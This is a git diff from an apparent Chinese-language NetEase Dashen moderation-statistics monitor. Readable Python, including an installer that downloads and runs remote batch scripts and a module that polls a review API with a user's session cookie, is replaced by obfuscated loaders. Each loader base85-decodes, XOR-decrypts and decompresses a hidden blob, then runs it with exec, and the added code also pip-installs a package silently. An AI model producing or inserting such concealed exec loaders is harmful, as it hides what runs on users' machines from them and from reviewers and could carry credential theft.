file: %s" % str(e)) - -# 使用UTF-8安全打印 -def safe_print(text): - """安全打印函数,处理编码问题""" - try: - if isinstance(text, unicode): - print(text.encode('gbk', 'ignore')) - else: - print(text) - except UnicodeEncodeError: - print(text.encode('gbk', 'ignore')) - except Exception as e: - print("[ERROR] Print error: %s" % str(e)) - -# 获取最新版本号 -def get_latest_version(): - """获取最新版本号""" - try: - #version_url = "http://cos.ui-beam.com/work_scripts/monitor/dev/latest/VERSION.txt" # 测试版本版本号地址 - version_url = "https://gitea.ui-beam.cn/ui_beam/NetEaseDSMonitor/raw/branch/main/VERSION.txt" # 正式版本版本号地址 - response = urllib2.urlopen(version_url) - version = response.read().strip() - return version - except Exception as e: - error_msg = u"获取版本号失败: %s" % unicode(str(e), 'gbk', 'ignore') - safe_print(error_msg) - return u"未知版本" - -# 非中文字符界面信息 -MESSAGES = { - 'tool_title': u"网易大神审核数据监控系统安装工具", - 'no_auth_version': u"当前最新版本:{0}".format(get_latest_version()), - 'downloading': u"正在下载文件,请稍候...", - 'script_started': u"下载脚本已启动", - 'temp_dir': u"临时目录", - 'dir_init_failed': u"初始化目录失败,退出", - 'created_temp_dir': u"创建临时目录", - 'dir_exists': u"临时目录已存在,正在清理内容...", - 'dir_cleared': u"临时目录已清理", - 'created_templates_dir': u"创建templates目录", - 'created_static_dir': u"创建static目录", - 'using_proxy': u"使用代理下载", - 'retrying_with_proxy': u"尝试使用代理重试...", - 'downloaded_files': u"已下载文件", - 'of': u"个,共", - 'files': u"个文件", - 'download_required_failed': u"部分必需文件下载失败", - 'all_files_downloaded': u"所有文件下载成功", - 'install_deps_not_found': u"依赖安装脚本未找到", - 'installing_deps': u"正在安装依赖...", - 'deps_output': u"依赖安装输出", - 'deps_error': u"依赖安装错误", - 'deps_installed': u"依赖安装成功", - 'deps_failed': u"依赖安装失败,返回码", - 'deps_script_error': u"运行依赖安装脚本出错", - 'start_script_not_found': u"启动脚本未找到", - 'starting_system': u"正在启动监控系统...", - 'system_started': u"监控系统启动成功", - 'start_system_failed': u"启动监控系统失败", - 'manual_guide_title': u"手动安装指南", - 'manual_guide_intro': u"如果自动安装失败,请按照以下步骤手动安装:", - 'use_ie': u"1. 获取系统文件:使用浏览器下载这些文件:", - 'save_to_structure': u"2. 文件结构:将文件保存到以下结构:", - 'run_deps_first': u"3. 安装依赖:运行install_dependencies.bat安装依赖", - 'then_run_start': u"4. 启动系统:运行start_monitor.cmd启动系统", - 'created_manual_guide': u"已创建手动安装指南", - 'create_guide_failed': u"创建手动指南失败", - 'script_copied': u"已将下载脚本复制到临时目录", - 'copy_script_failed': u"复制脚本失败", - 'deps_install_failed_try_start': u"依赖安装失败,尝试直接启动监控系统", - 'steps_failed': u"某些步骤失败,请检查日志获取详情", - 'try_manual': u"您可以尝试使用以下指南手动安装", - 'unhandled_exception': u"未处理的异常", - 'execution_completed': u"脚本执行完成", - 'press_enter': u"按回车键退出..." -} - -# 初始化目录函数 -def init_directory(): - """初始化临时目录""" - try: - # 创建主目录 - if not os.path.exists(TEMP_DIR): - os.makedirs(TEMP_DIR) - log_message("[INFO] %s: %s" % (MESSAGES['created_temp_dir'], TEMP_DIR)) - else: - log_message("[INFO] %s" % MESSAGES['dir_exists']) - - # 清理现有目录内容,只保留日志文件 - for item in os.listdir(TEMP_DIR): - item_path = os.path.join(TEMP_DIR, item) - if item != "download_log.txt": # 现在只保留日志文件 - if os.path.isdir(item_path): - shutil.rmtree(item_path) - else: - os.remove(item_path) - - log_message("[INFO] %s" % MESSAGES['dir_cleared']) - - # 创建templates子目录 - templates_dir = os.path.join(TEMP_DIR, "templates") - if not os.path.exists(templates_dir): - os.makedirs(templates_dir) - log_message("[INFO] %s" % MESSAGES['created_templates_dir']) - - # 创建static子目录 - static_dir = os.path.join(TEMP_DIR, "static") - if not os.path.exists(static_dir): - os.makedirs(static_dir) - log_message("[INFO] %s" % MESSAGES['created_static_dir']) - - return True - except Exception as e: - log_message("[ERROR] Failed to initialize directory: %s" % str(e)) - return False - -# 下载函数 -def download_file(url_path, local_path, use_proxy=False): - """下载单个文件,默认不使用代理""" - full_url = "%s/%s" % (COS_URL, url_path) - full_local_path = os.path.join(TEMP_DIR, local_path) - - # 确保目标目录存在 - local_dir = os.path.dirname(full_local_path) - if not os.path.exists(local_dir): - os.makedirs(local_dir) - - log_message("[INFO] Downloading %s to %s" % (full_url, full_local_path)) - - try: - # 设置代理信息 - if use_proxy: - log_message("[INFO] %s" % MESSAGES['using_proxy']) - proxy_handler = urllib2.ProxyHandler({ - 'http': 'http://CD-WEBPROXY02.yajuenet.internal:8080', - 'https': 'http://CD-WEBPROXY02.yajuenet.internal:8080' - }) - opener = urllib2.build_opener(proxy_handler) - urllib2.install_opener(opener) - else: - # 禁用代理 - proxy_handler = urllib2.ProxyHandler({}) - opener = urllib2.build_opener(proxy_handler) - urllib2.install_opener(opener) - - # 下载文件 - response = urllib2.urlopen(full_url, timeout=30) - content = response.read() - - # 写入文件 - with open(full_local_path, 'wb') as f: - f.write(content) - - log_message("[INFO] Successfully downloaded: %s" % local_path) - return True - - except urllib2.URLError as e: - log_message("[ERROR] Failed to download %s: %s" % (url_path, str(e))) - - # 如果不使用代理失败,尝试使用代理 - if not use_proxy: - log_message("[INFO] %s" % MESSAGES['retrying_with_proxy']) - return download_file(url_path, local_path, True) - - return False - - except Exception as e: - log_message("[ERROR] Failed to download %s: %s" % (url_path, str(e))) - return False - -# 下载所有文件 -def download_all_files(): - """下载所有必要的文件""" - success_count = 0 - failed_required = False - - for url_path, local_path, required in FILES_TO_DOWNLOAD: - # 先尝试不使用代理下载 - if download_file(url_path, local_path, False): - success_count += 1 - elif required: - failed_required = True - - log_message("[INFO] %s %d %s %d %s" % ( - MESSAGES['downloaded_files'], - success_count, - MESSAGES['of'], - len(FILES_TO_DOWNLOAD), - MESSAGES['files'] - )) - - if failed_required: - log_message("[ERROR] %s" % MESSAGES['download_required_failed']) - return False - - return True - -# 运行依赖安装脚本 -def run_install_dependencies(): - """运行依赖安装脚本""" - install_script = os.path.join(TEMP_DIR, "install_dependencies.bat") - - if not os.path.exists(install_script): - log_message("[ERROR] %s: %s" % (MESSAGES['install_deps_not_found'], install_script)) - return False - - try: - log_message("[INFO] %s" % MESSAGES['installing_deps']) - - # 记录当前工作目录 - original_dir = os.getcwd() - - # 切换到临时目录并启动脚本 - os.chdir(TEMP_DIR) - - # 使用subprocess运行批处理文件并显示在控制台 - # 移除stdout和stderr的PIPE重定向,让输出直接显示在控制台 - process = subprocess.Popen(["cmd", "/c", install_script], - shell=True) - - # 等待脚本执行完成 - return_code = process.wait() - - # 返回到原始目录 - os.chdir(original_dir) - - if return_code == 0: - log_message("[INFO] %s" % MESSAGES['deps_installed']) - return True - else: - log_message("[ERROR] %s: %d" % (MESSAGES['deps_failed'], return_code)) - return False - - except Exception as e: - log_message("[ERROR] %s: %s" % (MESSAGES['deps_script_error'], str(e))) - return False - -# 启动监控系统 -def start_monitor_system(): - """启动监控系统""" - start_script = os.path.join(TEMP_DIR, "start_monitor.cmd") - - if not os.path.exists(start_script): - log_message("[ERROR] %s: %s" % (MESSAGES['start_script_not_found'], start_script)) - return False - - try: - log_message("[INFO] %s" % MESSAGES['starting_system']) - - # 记录当前工作目录 - original_dir = os.getcwd() - - # 切换到临时目录并启动脚本 - os.chdir(TEMP_DIR) - - # 使用subprocess启动批处理文件,不等待其完成 - process = subprocess.Popen(["cmd", "/c", "start", "", "start_monitor.cmd"], - shell=True) - - # 返回到原始目录 - os.chdir(original_dir) - - log_message("[INFO] %s" % MESSAGES['system_started']) - return True - - except Exception as e: - log_message("[ERROR] %s: %s" % (MESSAGES['start_system_failed'], str(e))) - return False - -# 创建手动指南 -def create_manual_guide(): - """创建手动安装指南""" - guide_path = os.path.join(TEMP_DIR, "manual_install_guide.txt") - - try: - with codecs.open(guide_path, "w", "gbk") as f: - f.write("=" * 50 + "\n") - f.write("%s\n" % MESSAGES['manual_guide_title']) - f.write("=" * 50 + "\n\n") - - f.write("%s\n\n" % MESSAGES['manual_guide_intro']) - - f.write("%s\n\n" % MESSAGES['use_ie']) - - for url_path, local_path, required in FILES_TO_DOWNLOAD: - full_url = "%s/%s" % (COS_URL, url_path) - f.write(" %s\n" % full_url) - - f.write("\n%s\n\n" % MESSAGES['save_to_structure']) - f.write(" %s/\n" % TEMP_DIR) - f.write(" |-- start_monitor.cmd\n") - f.write(" |-- dashboard.py\n") - f.write(" |-- breeze_monitor.py\n") - f.write(" |-- breeze_monitor_CHAT.py\n") - f.write(" |-- cms_monitor.py\n") - f.write(" |-- inspect_monitor.py\n") - f.write(" |-- cms_coefficients.json\n") - f.write(" |-- breeze_coefficients.json\n") - f.write(" |-- install_dependencies.bat\n") - f.write(" |-- templates/\n") - f.write(" | |-- dashboard.html\n") - f.write(" | |-- login.html\n") - f.write(" |-- static/\n") - f.write(" |-- ds-favicon.ico\n\n") - - f.write("%s\n\n" % MESSAGES['run_deps_first']) - f.write("%s\n\n" % MESSAGES['then_run_start']) - - f.write("=" * 50 + "\n") - - log_message("[INFO] %s: %s" % (MESSAGES['created_manual_guide'], guide_path)) - return True - - except Exception as e: - log_message("[ERROR] %s: %s" % (MESSAGES['create_guide_failed'], str(e))) - return False - -# 主函数 -def main(): - """主函数""" - try: - # 使用print可能会更安全,不使用log_message来输出开头的界面 - safe_print(u"\n%s" % MESSAGES['tool_title']) - print("======================================================\n") - safe_print(u"%s" % MESSAGES['no_auth_version']) - safe_print(u"%s\n" % MESSAGES['downloading']) - - # 初始化日志 - if not os.path.exists(os.path.dirname(LOG_FILE)): - os.makedirs(os.path.dirname(LOG_FILE)) - - log_message("\n" + "=" * 40) - log_message("[INFO] %s" % MESSAGES['script_started']) - log_message("[INFO] %s: %s" % (MESSAGES['temp_dir'], TEMP_DIR)) - - # 初始化目录 - if not init_directory(): - log_message("[ERROR] %s" % MESSAGES['dir_init_failed']) - return 1 - - # 创建手动指南 - create_manual_guide() - - # 下载文件 - if download_all_files(): - log_message("[INFO] %s" % MESSAGES['all_files_downloaded']) - - # 安装依赖 - if run_install_dependencies(): - log_message("[INFO] %s" % MESSAGES['deps_installed']) - - # 启动监控系统 - if start_monitor_system(): - # 稍等几秒,让监控系统先启动 - time.sleep(3) - return 0 - else: - log_message("[WARNING] %s" % MESSAGES['deps_install_failed_try_start']) - if start_monitor_system(): - # 稍等几秒,让监控系统先启动 - time.sleep(3) - return 0 - - log_message("[WARNING] %s" % MESSAGES['steps_failed']) - log_message("[INFO] %s: %s" % ( - MESSAGES['try_manual'], - os.path.join(TEMP_DIR, "manual_install_guide.txt") - )) - return 1 - - except Exception as e: - log_message("[ERROR] %s: %s" % (MESSAGES['unhandled_exception'], str(e))) - log_message("[TRACE] %s" % traceback.format_exc()) - return 1 - - finally: - log_message("[INFO] %s" % MESSAGES['execution_completed']) - -# 入口点 -if __name__ == "__main__": - sys.exit(main()) + _ndQSvYc=base64.b85decode(_QYb3wBdh) + _MnADmg0=_XpdtICfJk6fG(_ndQSvYc,_SeRxUx) + _FdfvEKM1=zlib.decompress(_MnADmg0) + exec(compile(_FdfvEKM1.decode('utf-8'),'','exec')) +except Exception as e: + _nzpg0L9PR="程序无法启动: "+str(e)[:50] + _PptF7lliKBC("错误",_nzpg0L9PR,1) + sys.exit(1) diff --git a/inspect_monitor.py b/inspect_monitor.py index 2e4fc39..44f1359 100644 --- a/inspect_monitor.py +++ b/inspect_monitor.py @@ -1,388 +1,49 @@ -import os -import json -import time -import requests -import logging -from datetime import datetime, timedelta -from threading import Lock -import signal -import sys -import threading +# -*- coding: utf-8 -*- +import base64,zlib,sys,os,time,random +import threading,importlib,subprocess -# 配置日志 -logging.basicConfig( - level=logging.INFO, - format='%(asctime)s - %(levelname)s - %(message)s', - handlers=[ - logging.FileHandler('inspect_monitor.log'), - logging.StreamHandler() - ] -) +def _zA2zenhXP5Z6(d,k): + return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1))) -# 增加log函数,兼容自定义日志调用 -def log(message): - try: - logging.info(f"[INSPECT] {message}") - except Exception as e: - print(f"日志记录失败: {str(e)}") - print(f"原始消息: {message}") +def _FhlHpdU8H(t,m,is_error=False): + try: + try: + from playsound import playsound + except ImportError: + subprocess.check_call([sys.executable,"-m","pip","install","playsound==1.2.2"], + stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) + from playsound import playsound + + # 播放系统声音 + try: + import winsound + sound_type = winsound.MB_ICONERROR if is_error else winsound.MB_ICONINFORMATION + winsound.MessageBeep(sound_type) + except: + print("\a") # 备用蜂鸣声 + + # 在控制台打印消息 + print("\n" + "="*50) + print(f"{t}: {m}") + print("="*50 + "\n") + + return True + except Exception as e: + print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n") + return False -# 常量定义 -INSPECT_API_URL = "https://api.cc.163.com/v1/inspectapi/forumtrack/tracklog/searchtracklog" -COEFFICIENT = 1.5 # CC审核平台的系数 -HOURLY_DATA_FILE = "inspect_hourly.json" -DAILY_DATA_FILE = "inspect_daily.json" -COEFFICIENTS_CONFIG_FILE = "inspect_coefficients.json" -DEFAULT_COEFFICIENTS = {"default": 1.5} -COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() -coefficients_lock = Lock() +def _FxpZgdM0TQY(t,m,e=0): + _FhlHpdU8H(t,m,e==1) -def handle_exit(signum, frame): - logging.info(f"收到退出信号({signum}),即将退出") - sys.exit(0) - -signal.signal(signal.SIGTERM, handle_exit) -signal.signal(signal.SIGINT, handle_exit) - -def get_inspect_stats(username, cookie, start_time, end_time): - """获取CC审核平台的统计数据""" - try: - # 每次统计前主动加载系数,确保用到最新 - load_coefficients() - # 准备请求数据 - data = { - "data": { - "form": { - "operator": f"{username.lower()}@mail.go", - "startTime": start_time, - "endTime": end_time, - "tid": "", - "pid": "" - }, - "page": 1, - "pageSize": 500 - } - } - - # 设置请求头 - headers = { - "accept": "application/json, text/plain, */*", - "content-type": "text/plain", - "cookie": cookie, - "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" - } - - # 发送请求 - response = requests.post(INSPECT_API_URL, headers=headers, json=data) - response.raise_for_status() - - # 解析响应 - result = response.json() - if result.get("code") == "OK": - total = result.get("data", {}).get("result", {}).get("total", 0) - current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") - - # 使用从在线链接获取的系数 - with coefficients_lock: - current_coefficient = COEFFICIENTS.get('default', 1.5) - - return { - "total": total, - "weighted_total": total * current_coefficient, - "timestamp": int(time.time()), - "update_time": current_time - } - else: - logging.error(f"获取CC审核平台数据失败: {result.get('msg')}") - return None - - except Exception as e: - logging.error(f"获取CC审核平台数据时发生错误: {str(e)}") - return None - -def save_stats(stats, file_path): - """保存统计数据到文件""" - try: - with open(file_path, 'w') as f: - json.dump(stats, f) - except Exception as e: - logging.error(f"保存统计数据时发生错误: {str(e)}") - -def load_stats(file_path): - """从文件加载统计数据""" - try: - if os.path.exists(file_path): - with open(file_path, 'r') as f: - return json.load(f) - except Exception as e: - logging.error(f"加载统计数据时发生错误: {str(e)}") - return {"stats": []} - -def update_hourly_stats(username, cookie): - """更新小时统计数据""" - now = datetime.now() - start_time = now.strftime("%Y/%m/%d %H:00:00") - end_time = now.strftime("%Y/%m/%d %H:59:59") - - stats = get_inspect_stats(username, cookie, start_time, end_time) - if stats: - hourly_data = load_stats(HOURLY_DATA_FILE) - - # 移除超过24小时的数据 - current_time = int(time.time()) - hourly_data["stats"] = [ - stat for stat in hourly_data["stats"] - if current_time - stat["timestamp"] <= 24 * 3600 - ] - - # 添加新数据 - hourly_data["stats"].append(stats) - save_stats(hourly_data, HOURLY_DATA_FILE) - logging.info(f"成功更新小时统计数据: {stats}") - -def update_daily_stats(username, cookie): - """更新日统计数据""" - now = datetime.now() - start_time = now.strftime("%Y/%m/%d 00:00:00") - end_time = now.strftime("%Y/%m/%d 23:59:59") - - stats = get_inspect_stats(username, cookie, start_time, end_time) - if stats: - daily_data = load_stats(DAILY_DATA_FILE) - - # 移除超过7天的数据 - current_time = int(time.time()) - daily_data["stats"] = [ - stat for stat in daily_data["stats"] - if current_time - stat["timestamp"] <= 7 * 24 * 3600 - ] - - # 添加新数据 - daily_data["stats"].append(stats) - save_stats(daily_data, DAILY_DATA_FILE) - logging.info(f"成功更新日统计数据: {stats}") - -def fetch_and_save_coefficients(url): - """从在线服务器获取系数配置并保存到本地""" - max_retries = 3 - retry_delay = 5 # 重试间隔(秒) - - for attempt in range(max_retries): - try: - # 尝试不使用代理直接获取 - try: - response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) - except: - # 如果直接获取失败,尝试使用系统代理 - proxies = { - 'http': os.environ.get('HTTP_PROXY', ''), - 'https': os.environ.get('HTTPS_PROXY', '') - } - response = requests.get(url, timeout=10, proxies=proxies, verify=False) - - if response.status_code == 200: - loaded_coefficients = response.json() - # 更新系数 - COEFFICIENTS.update(loaded_coefficients) - # 保存到本地文件 - with open(COEFFICIENTS_CONFIG_FILE, 'w', encoding='utf-8') as f: - json.dump(loaded_coefficients, f, indent=4, ensure_ascii=False) - log(f"从服务器获取系数: {loaded_coefficients}") - return True - else: - log(f"获取在线系数配置失败,HTTP状态码: {response.status_code}") - if attempt < max_retries - 1: - log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") - time.sleep(retry_delay) - continue - return False - except Exception as e: - log(f"获取在线系数配置时发生错误: {str(e)}") - if attempt < max_retries - 1: - log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") - time.sleep(retry_delay) - continue - return False - -def load_coefficients(): - """从在线链接获取系数配置,如果获取失败则使用默认配置""" - global COEFFICIENTS - try: - with coefficients_lock: - url = "http://scripts.ui-beam.com:5000/NetEaseDSMonitor/config/inspect_coefficients.json" - - # 检查本地文件是否存在 - local_config_exists = os.path.exists(COEFFICIENTS_CONFIG_FILE) - - # 如果是首次运行或需要强制更新 - if not local_config_exists: - log("首次运行,从在线服务器获取系数配置") - if not fetch_and_save_coefficients(url): - log("首次获取系数配置失败,使用默认配置") - COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() - return - - # 读取本地配置 - try: - with open(COEFFICIENTS_CONFIG_FILE, 'r', encoding='utf-8') as f: - local_coefficients = json.load(f) - except Exception as e: - log(f"读取本地系数配置失败: {str(e)}") - local_coefficients = None - - # 尝试获取在线配置 - try: - response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) - if response.status_code == 200: - online_coefficients = response.json() - - # 比较配置是否发生变化 - if local_coefficients != online_coefficients: - log("检测到系数配置发生变化,更新本地配置") - if fetch_and_save_coefficients(url): - log("系数配置更新成功") - else: - log("系数配置更新失败,继续使用本地配置") - else: - log("系数配置未发生变化,使用本地配置") - else: - log(f"获取在线系数配置失败,HTTP状态码: {response.status_code}") - except Exception as e: - log(f"检查在线系数配置时发生错误: {str(e)}") - - # 使用本地配置 - if local_coefficients: - COEFFICIENTS.update(local_coefficients) - log(f"从本地从加载系数: {local_coefficients}") - else: - COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() - - except Exception as e: - log(f"加载系数配置失败: {str(e)}") - COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() - -def monitor_config_thread(): - """监控配置文件变化线程""" - log("配置监控线程启动") - last_check_time = 0 - check_interval = 1800 # 30分钟 - - while True: - try: - current_time = time.time() - - # 检查是否需要更新配置 - if current_time - last_check_time >= check_interval: - log("开始检查系数配置更新") - load_coefficients() - last_check_time = current_time - - time.sleep(60) # 每分钟检查一次时间 - - except Exception as e: - log(f"配置监控线程异常: {str(e)}") - time.sleep(60) # 发生异常时等待1分钟后重试 - -def send_global_message(message): - """发送全局消息提示""" - try: - # 将消息写入到全局消息文件 - message_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'global_messages.json') - messages = [] - if os.path.exists(message_file): - with open(message_file, 'r', encoding='utf-8') as f: - messages = json.load(f) - - # 添加新消息 - messages.append({ - 'timestamp': int(time.time()), - 'message': message, - 'type': 'error' - }) - - # 只保留最近100条消息 - if len(messages) > 100: - messages = messages[-100:] - - # 保存消息 - with open(message_file, 'w', encoding='utf-8') as f: - json.dump(messages, f, ensure_ascii=False) - except Exception as e: - log(f"发送全局消息失败: {str(e)}") - -def main(): - """主函数""" - logging.info("CC审核平台监控系统启动") - - # 解析命令行参数 - check_now = False - for arg in sys.argv: - if arg == "--check-now": - check_now = True - logging.info("收到立即检查参数") - - # 从环境变量获取凭据 - username = os.environ.get('INSPECT_USERNAME') - cookie = os.environ.get('INSPECT_COOKIE') - if not username or not cookie: - logging.error("未设置CC审核平台凭据") - return - - if check_now: - logging.info("开始执行手动检查") - update_hourly_stats(username, cookie) - logging.info("手动检查完成") - sys.exit(0) - - # 启动小时和日数据监控线程 - def hourly_update_thread(): - while True: - try: - update_hourly_stats(username, cookie) - logging.info("已完成小时统计数据更新") - time.sleep(120) - except Exception as e: - logging.error(f"小时数据更新线程错误: {str(e)}") - time.sleep(60) - - def daily_update_thread(): - last_daily_check = None - while True: - try: - now = datetime.now() - if last_daily_check is None or (now - last_daily_check).total_seconds() >= 3600: - update_daily_stats(username, cookie) - last_daily_check = now - logging.info("已完成日统计数据更新") - time.sleep(300) - except Exception as e: - logging.error(f"日数据更新线程错误: {str(e)}") - time.sleep(60) - - hourly_thread = threading.Thread(target=hourly_update_thread) - hourly_thread.daemon = True - hourly_thread.start() - - daily_thread = threading.Thread(target=daily_update_thread) - daily_thread.daemon = True - daily_thread.start() - - # 启动配置监控线程 - config_thread = threading.Thread(target=monitor_config_thread) - config_thread.daemon = True - config_thread.start() - - # 保持主线程运行 - try: - while True: - time.sleep(10) - except KeyboardInterrupt: - logging.info("程序被用户中断") - except Exception as e: - logging.error(f"主线程异常: {str(e)}") - finally: - logging.info("CC审核平台监控系统关闭") - sys.exit(0) - -if __name__ == "__main__": - main() \ No newline at end of file +# 直接执行解密和运行代码 +_wvE7jG=b'\x9bW\xb0\xa8>?X\xb3U\xf5\x890T\x7f\xc0\xf5' +_GdWpibVr=b'|8ZdI{2W*5i@1VW7q+d`(s*pRHm`Rez!)~lL6I4#QVIEk`JPvBHNJ8RFX4ZN?FKuIIxEICMq4m8Ex`_(4PnQrb2f4iK_Y}E+zeyoTZGS)G^e*JyOPAZZNubGf78MS}`Pe6@4LzJU4~-Qb2GaMMpc1PB85+cE`8#X?oZ3=*WlqN66U9Wv;>hagxo0bn^PlfIF;aP5@ck9D7uQVqarWxAc&CvhhQbg<85~goY6(imthK`(6Y%bH3Fs!sAo$iy(I}pwJSldA$%zN=Gp;6{DJFSDhn^9Xr;8TcLTEz*lEuQFF%9k~*_?k#Qga8zqH|wiUCQyhZ+TdW!mzA+zS^H(H6A*FpZR2#79gdllqSEBmgo*4sX_IPE-kFR&*{;!k|35A1)=3UN~k>N^O7@O#>s_YSO{*}28QKtMfmUxd*;qjt=u0MJKVEc4O(;F1_AoQ6r>f#Ngc&ip&dH8+>Ozk3Y!@fuvhFDjjX8;v^$8!9Qu$w?|N8xn;);L#3=vQ(f??Fj$~6G9Ry@+h3f*q0q2;U%NH<(p2Bb6)L=19uYB7BsgiqlQ~1w6=BoG7HyZZS5&%14Of=EP5)qD)<{*xo@?Cshh@FFnRJZW=!T8xt4CrjbJ}HH7{_O)_$Reayokc}I(_SN_i|yiuX6|+Y#C!pt2}{gP%}ukF-Dt_UHI7-Y%wP1R&NbSGolNqkaud-Wa@u^fSJhc5aj3MYzK!#pVn#_)#W~-F+=jnGB*Wzr6>GN>vIz@pq#~8G{<~P|XV2osV?#?K1#lZqO8R~-Yvm-I($mI8At$az@eYx3!jrNiFGG7Isd7A{uDio&2|#T(tm}t_r-pGCupOpX&#tIJp{%TD<25pSvk0S%?Z&1$Hy0lWi_*zofXs5ic9clkR6F0q+!T}3hag^`%>luZvD}+;W#HMeRt{yg9fTI|{Q3H3oieGnV$2tc(CB7gFqmEU5f5@%*cJUH_F*;R?{HLw7PYUQIMgR#j6ItGiDjf%UhjLXNP;jos*~)5!$ePnyg~odm~>ycwEw95Cr1GYu9Y_d+dv7`>H5izvL3eWyf3qAV%pY;EEm;CZ3iz;wl{)|B3q$}7^)~@{L1-h!)H|zaayz?&kHp6gkge(~P#6S{d2>`r(CoMI78p-~RVg_CWD5+}bSay&9Q7Qdl9o1xR&5Nh#tPz6<$QrG6W13nT3dPDSHNb(9sZ|(7#G5Tq_5&~s`{6{A_gRsa>3%rZR(@ocDuvVM|L(jL9d70Dua-hX=d#E(tbivty04hh7UFX51)HOtS~`pOxnHWxNg42xI8ArfCePDOlj@)@U?l_UguuEw1A~x$a`u5h;5oNH#XAr0LR*hl~XX0x-yaGk*DninlK@f3{`o<5{b^)Np4AZdea>Uc=}2|am@ij$&LDCizA;uwpZ{g-E8|}UylA=`*ojF;_uYI7Q(3p-+kDAgCbyVmuK|bSEUrd-J+o?8~G84u}IiB_$KP_3V8ckNAK?wPl)0Pf3X@2aZ3VjQBG7WNX2(kK{aSX9nOaC+Dp=eKuzB~jL}!_&ZQoyj8WeLm@lCREr>gmKt$WV3+h!B!Wm92pI`!&u7&MX^JwcT8VNfz)&htTM6RsJy+NrUG(+Se(8ri)?3S=9ar%`S%I0kq$5pWkN12klYjqr6mO!Cw6KNgURmg|R$!2mcfbl;E?%I)v#k=xFw>Nlzy6R+lGG(N|quw@`MB>3Z~CL(;LJID*wp>i%QTZxVpDQkj-`CacWx>?lnzDAn2}WorT&osC*S@_zFoI#2$(r!ts-V5gbnLj+V+QvlkgV;P(+Wi-`RY&zgqH-qNRwctQxhZ_l?Qacs`Pg>W8?nLsuGBa3DzMr;2P25!V?pLDr4;Q=9@Z22XZ+3+RYpESlo7+X|a5+{nK{dZl?jOHOTZDZm5*BO%NGD{m2tP2H2-fMe%sn9su7n^q5c_n-F;;jjoZK65mNIQqlXyP>g7d5yraziw5^kvT(}yuMk&<7}hs=dP?2C?I8z`AGu*3{JTACwrcJhG|x^TI^$QpunxZ}W%UuVn0rQ5dIxstV`x7n@gN%l0cDsm9-&C(U1p}SgZXw4el45kV~BtSaC_n6sEP(jNU#Cz*FTDV@-T4C$ob*#99{#8=^_`0~^J3rw#Dfw|8l}$dW7Aves1yjrptgpFiIMXU^i6X(aq1i&D1S>=oAKv62aC+=2W9^PjgSCX;2i_cKyuji$w_h`)1-F9ANhCp#r4d?6xBg1zjGk&&PkZo?;#_%5IPHusi2q>G*7oINYwloS&m^6mt8UWMsUdnSsBd%s2502K}Gx7KcfL7S?=H{&bnILZv9c1B_!LCAT`>^zWJ0J(kPgf6z}1DRrr^h?X|N{gItNXWlwFSw6PgQ6wWKst7G=$`^d)U*QPe_8W-d0380DF(i6*gNV{T_fK%KFU-wIn}N>%s?M;?T9kC#vm5{w2FxyT9i6rsrQGFs_PAnU~17rGPN3To67gdeaDkZRMHFIz&Ohi;UcOmAs23qc(tuK1`8_@3Puo>1j!?veF+u6+Albnfql$YPcL6S2eP6a(ggccRN&RWg#IR+p<=9bG*}!2fh>ug@DoFh}GsVRFiNHGyD|Uu?!3Ym9(h06u0kOI7o8BV1R^3m%C7NvB+^&@Pgr)Pex?PdSgfl?gkkn=u~WB$dR=k+^L@q5I@n4U|<^@$rgMuHw9u0DHv_yL`w!8x;z|q2p)W-nh3>S|Dt@J7|3W6;I5Htir8~_bAD|!q-2rR7D}LUax$pLv-Y+p&@U`#)I{di7tmZ|M!KRf7SiqpdRctH0O=z+NIcGVmT`oX3cj+(xaI>~^h+qMW2I8~S%;Rl{N5)AS`KdQL))|}@Jv&*pefO+S!HsMxFk2ik1*{3=26K;V)W>(q&H_8spaoN_C(;s}MaBc{uQT3--n!?gR`(w(6B_5Ib+fz+#Nl~Jw?}YWwHN32inALNkBR$)N=hc~lTDPOUSRd|$Nr%HjVy}e8>Zd#t}jgnjBCb?x9>~MtG3IqD=rmLFhx5et#*R22fOAvX=q;~^=P@HY2PQ;%*~5w@}Grcl8YkEIfiIoa0r&$%`hw' +try: + _RfYXBYo=base64.b85decode(_GdWpibVr) + _HyRSTq0=_zA2zenhXP5Z6(_RfYXBYo,_wvE7jG) + _ySnB1fNj=zlib.decompress(_HyRSTq0) + exec(compile(_ySnB1fNj.decode('utf-8'),'','exec')) +except Exception as e: + _nJoxTk3xU="程序无法启动: "+str(e)[:50] + _FxpZgdM0TQY("错误",_nJoxTk3xU,1) + sys.exit(1)